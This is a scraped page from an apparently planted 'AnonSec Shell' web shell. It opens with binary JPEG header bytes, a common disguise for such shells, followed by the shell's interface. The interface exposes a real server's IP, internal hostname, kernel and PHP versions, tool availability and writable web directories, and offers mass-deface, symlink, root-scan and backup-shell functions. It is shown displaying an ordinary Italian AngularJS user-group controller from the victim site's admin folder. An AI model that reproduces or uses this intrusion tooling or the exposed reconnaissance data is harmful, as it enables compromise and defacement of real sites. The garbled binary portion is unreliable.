JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/ripara.co/admin/js/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/ripara.co/admin/js/controllers/gruppi.js
materialAdmin
    

    //=================================================
    // Controller Gruppi
    //=================================================

    .controller('gruppiCtrl', function($filter, $sce, $state, $scope, ngTableParams, tableService, APIService, animationService, growlService) {
        // ACL
        if($scope.thisPagesNames.indexOf($state.current.nomePagina) < 0){
            // OuttaHere!
            $state.go("home");
            growlService.growl($scope.outtaHere, 'danger');
        }
        
        this.animationService = animationService;
        //Caricamento gruppi da API REST
        this.getData = function (){

            APIService.async({method: "getgroups"}).then(function(adata) {
                console.log(adata);
                if(adata.status && adata.message.length){

                    //assegno i dati ricevuti a data
                    var data = adata.message;
                    console.log('getGruppi:__', adata);
                    $scope.gruppi = data;
                    for (var i = $scope.gruppi.length - 1; i >= 0; i--) {
                        $scope.gruppi[i].permessi = JSON.parse($scope.gruppi[i].permessi);
                        
                    }
               
                }else{
                    
                    animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");

                }

            });
        };

        this.getData();

        // Controllo se la pagina è presente nei permessi (per i checkbox in modifica g)
        $scope.isInArray = function(id){
            //
            if($scope.gruppo.permessi instanceof Array){
                console.log($scope.gruppo.permessi.indexOf(id) > -1);
                return $scope.gruppo.permessi.indexOf(id) > -1
            }
        }
        
        this.getGroupUsers = function(){
            APIService.async({method: "getgroupusersbyid",id: $scope.gruppo.group_id}).then(function(adata) {
                console.log(adata);
                if(adata.status && adata.message){
                    //assegno i dati ricevuti a data
                    var data = adata.message;

                    //aggiorno la variabile per ng-repeat della tabella
                    $scope.uctrl.data = data;
                    //instanzio la ng-table
                    $scope.uctrl.tableUtenti = new ngTableParams({
                        page: 1,            // show first page
                        count: 10
                    }, 
                    {
                        total: data.length,// $scope.data.length, // length of data
                        getData: function($defer, params) {

                            // use build-in angular filter
                            var orderedData = params.filter() ? $filter('filter')(data, params.filter()) : data;
                            this.id = orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count());
                            this.firstname = orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count());
                            this.email = orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count());
                            this.username = orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count());
                            this.contact = orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count());
                            params.total(orderedData.length); // set total for recalc pagination
                            
                            $defer.resolve(this.id, this.firstname, this.email, this.username, this.contact);
                        }
                    }
                    );
                }else{                    
                    animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");
                }
            });  
        }

        // Spostamento utente in gruppo
        $scope.moveUserToGroup = function(groupID, userID){
            APIService.async({method: "addusertogroup", id_group: groupID, id_user: userID}).then(function(adata) {
                console.log(adata);
                console.log(userID, groupID);
                if(adata.status && adata.message){
                    growlService.growl(adata.message, 'info');
                }else{                    
                    growlService.growl(adata.message, 'danger');
                }
            }); 
        }


        //rimozione utnete dal gruppo
        this.removeFromGroup = function (userID, groupID){
                console.log("Rimozione da gruppo:"+userID+","+groupID);
            APIService.async({method: "removeuserfromgroup", id_group: groupID, id_user: userID}).then(function(adata) {
                console.log(adata);
                console.log(userID, groupID);
                if(adata.status && adata.message){
                    growlService.growl(adata.message, 'info');

                    //aggiorno la tabella
                    $scope.uctrl.getGroupUsers();


                }else{                    
                    growlService.growl(adata.message, 'danger');
                }
            }); 
        }

        // Drag/Drop utente in gruppo
        $scope.dropped = function(dragged, dropped){

            var drop = jQuery('#'+dropped);
            var drag = jQuery('#'+dragged);
            var groupID = drop[0].getAttribute('group-id');
            var userID = drag[0].getAttribute('user-id');

            drop.removeClass('lvl-over');

            $scope.moveUserToGroup(groupID,userID);

        }

        $scope.pages = [];
        $scope.selection = []; // Selected Pages to createGroup/editGroup
        $scope.pagesIds = [];

        this.getPages = function(){
            var y = $state.get();
            //console.log(y);
            for(var x = 0; x < y.length; x++){
                //console.log('x', y[x]);
                if(y[x].id){
                    $scope.pages.push(y[x]);
                    
                    $scope.pagesIds[y[x].id] = y[x].nomePagina;
                }
            }
            console.log('pages', $scope.pages);
            console.log('ids', $scope.pagesIds);
        }
        this.getPages();
        
        $scope.toggleSelection = function toggleSelection(ID) {
            
            var idx = $scope.selection.indexOf(ID);

            // is currently selected
            if (idx > -1) {
                console.log('si');
                $scope.selection.splice(idx, 1);
            }

            // is newly selected
            else {
                console.log('no');
                $scope.selection.push(ID);
            }
        };

        //Insert
        this.newUser = 0;

        this.submitGroup = function() {
            //this.insertUser.method = "insertgroup";
            //this.insertUser.selection = $scope.selection;
            console.log('this.insertUser', this.insertUser);
            APIService.async({method: "insertgroup", titolo: this.insertUser.firstname, descrizione: this.insertUser.lastname, permessi: $scope.selection}).then(function(adata) {
                if(adata.status){
                    growlService.growl(adata.message, 'info');
                    //swal(adata.message, "L'utente protrà effettuare l'accesso senza verificare l'account in quanto creato da un'amministratore!", "success")
                    //aggiorno la lista dei gruppi
                    $scope.uctrl.getData();
                    //svuoto i valori precedenti
                    for(x in $scope.uctrl.insertUser){
                        $scope.uctrl.insertUser[x] = "";
                    }
                    //nascondo il menu inserimento
                    $scope.selection = [];
                    $scope.uctrl.newUser = 0;
            
                }else{
                    growlService.growl(adata.message, 'danger');
                    //$scope.uctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                }
                console.log(adata);
            });
        }

        //Caricamento utenti del gruppo da API REST
        $scope.gruppo = $state.params.gruppo;
        if($scope.gruppo){
            this.getGroupUsers();
            console.log('gruppo:',$scope.gruppo);
            if($scope.gruppo.permessi instanceof Array){
                $scope.selection = $scope.gruppo.permessi;
            }else{
                $scope.selection = [];
            }
        }

        $scope.editGroup = function() {
            //this.insertUser.method = "insertgroup";
            //this.insertUser.selection = $scope.selection;
            //console.log('this.insertUser', this.insertUser);
            APIService.async({method: "editgroup", id: $scope.gruppo.group_id, titolo: $scope.gruppo.title, descrizione: $scope.gruppo.description, permessi: $scope.selection}).then(function(adata) {
                if(adata.status){
                    console.log('editok');
                    growlService.growl(adata.message, 'info');
                    //swal(adata.message, "L'utente protrà effettuare l'accesso senza verificare l'account in quanto creato da un'amministratore!", "success")
                    //aggiorno la lista dei gruppi
                    //$scope.uctrl.getData();
                    //svuoto i valori precedenti
                    console.log('gruppo:',$scope.gruppo);
                    if($scope.gruppo.permessi instanceof Array){
                        $scope.selection = $scope.gruppo.permessi;
                    }else{
                        $scope.selection = [];
                    }
                    
                    $scope.uctrl.editUser = 0;
            
                }else{
                    growlService.growl(adata.message, 'danger');
                    //$scope.uctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                }
                console.log(adata);
            });
        }

         $scope.deleteGroup = function(idGroup) {
           
            APIService.async({method: "deletegroup", id: idGroup}).then(function(adata) {
                if(adata.status){
                    growlService.growl(adata.message, 'info');
              
              
                }else{
                    growlService.growl(adata.message, 'danger');
                    //$scope.uctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                }
                console.log(adata);
            });
        }

        $scope.newUser = 0;
/*
        //Insert
        this.newUser = 0;

        this.submit = function() {            
            this.insertUser.method = "insertutente";
            APIService.async(this.insertUser).then(function(adata) {
                if(adata.status){
                    swal(adata.message, "L'utente protrà effettuare l'accesso senza verificare l'account in quanto creato da un'amministratore!", "success")
                    //aggiorno la lista degli utenti 
                    $scope.uctrl.getData();
                    //svuoto i valori precedenti
                    for(x in $scope.uctrl.insertUser){
                        $scope.uctrl.insertUser[x] = "";
                    }
                    //nascondo il menu inserimento
                    $scope.uctrl.newUser = 0;
            
                }else{
                    $scope.uctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                }
            });
        }
*/
    })

    






    /****
CHIAMATA STANDARD API
//Caricament dati da API REST

        APIService.async("method=getmenu").then(function(adata) {

            if(adata.status){
                //assegno i dati ricevuti a data
                var data = adata.message;
           
            }else{
                
                animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");
            }

        });
*******/

Anon7 - 2022
AnonSec Team